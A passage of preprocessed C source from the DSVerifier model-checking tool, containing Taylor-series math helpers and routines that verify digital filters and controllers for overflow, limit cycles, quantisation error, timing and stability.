aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 123 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 228 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 139 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
shiftRboth(0.0f, wfaux, 0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
shiftR(0, waux, Nw);
y[i] = fxp_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 79 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
generic_timing_shift_r_double(0, waux, Nw);
y[i] = generic_timing_double_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
shiftR(0, waux, Nw);
y[i] = double_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
